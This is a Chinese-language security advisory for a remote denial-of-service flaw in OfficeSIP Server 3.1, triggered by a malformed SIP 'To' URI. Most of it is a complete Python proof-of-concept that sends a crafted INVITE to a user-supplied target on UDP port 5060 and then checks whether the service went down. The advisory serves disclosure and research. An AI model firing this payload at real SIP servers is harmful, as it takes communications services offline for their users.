发布日期：2012-02-02
更新日期：2012-02-03
受影响系统：
OfficeSIP Communications OfficeSIP Server 3.1
描述：
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BUGTRAQ ID: 51828
OfficeSIP Server是免费的VoIP和即时通讯软件。
OfficeSIP Server在验证请求的“To”标头中的SIP/SIPS URL时存在远程拒绝服务，成功利用后可允许攻击者造成应用程序崩溃，造成拒绝服务。
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Prabhu S Angadi （）提供了如下测试方法：
#!/usr/bin/python
##############################################################################
#
# Title : OfficeSIP Server Denial Of Service Vulnerability
# Author : Prabhu S Angadi SecPod Technologies ()
# Vendor :
# Advisory : ?p=461
#
#
# Software : OfficeSIP Server 3.1
# Date : 01/02/2012
#
##############################################################################
import socket,sys,time
port = 5060
target = raw_input("Enter host/target ip address: ")
if not target:
print "Host/Target IP Address is not specified"
sys.exit(1)
print "you entered ", target
try:
socket.inet_aton(target)
except socket.error:
print "Invalid IP address found ..."
sys.exit(1)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed service not running"
sys.exit(1)
#Malicous To SIP URI triggers vulnerability and brings SIP port down
exploit = "INVITE sip:test@officesip.local SIP/2.0\r\n"+\
"Via: SIP/2.0/UDP example.com\r\n"+\
"To: user2 <sip:maliciouSUSEr@>\r\n"+\
"From: user1 <sip:user1@server1.com>;tag=00\r\n"+\
"Call-ID: test@server.com\r\n"+\
"CSeq: 1 INVITE\r\n"+\
"Contact: <sip:user1@server1.com>\r\n\r\n"
sock.sendto(exploit, (target, port))
#Server evaluates and takes a while to go down.
time.sleep(40)
sock.close()
#Verify port is down
try:
sock.connect()
except:
print "OfficeSIP server port is down."
print "Service not responding ...."
sys.exit(1)
建议：
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厂商补丁：
OfficeSIP Communications
------------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：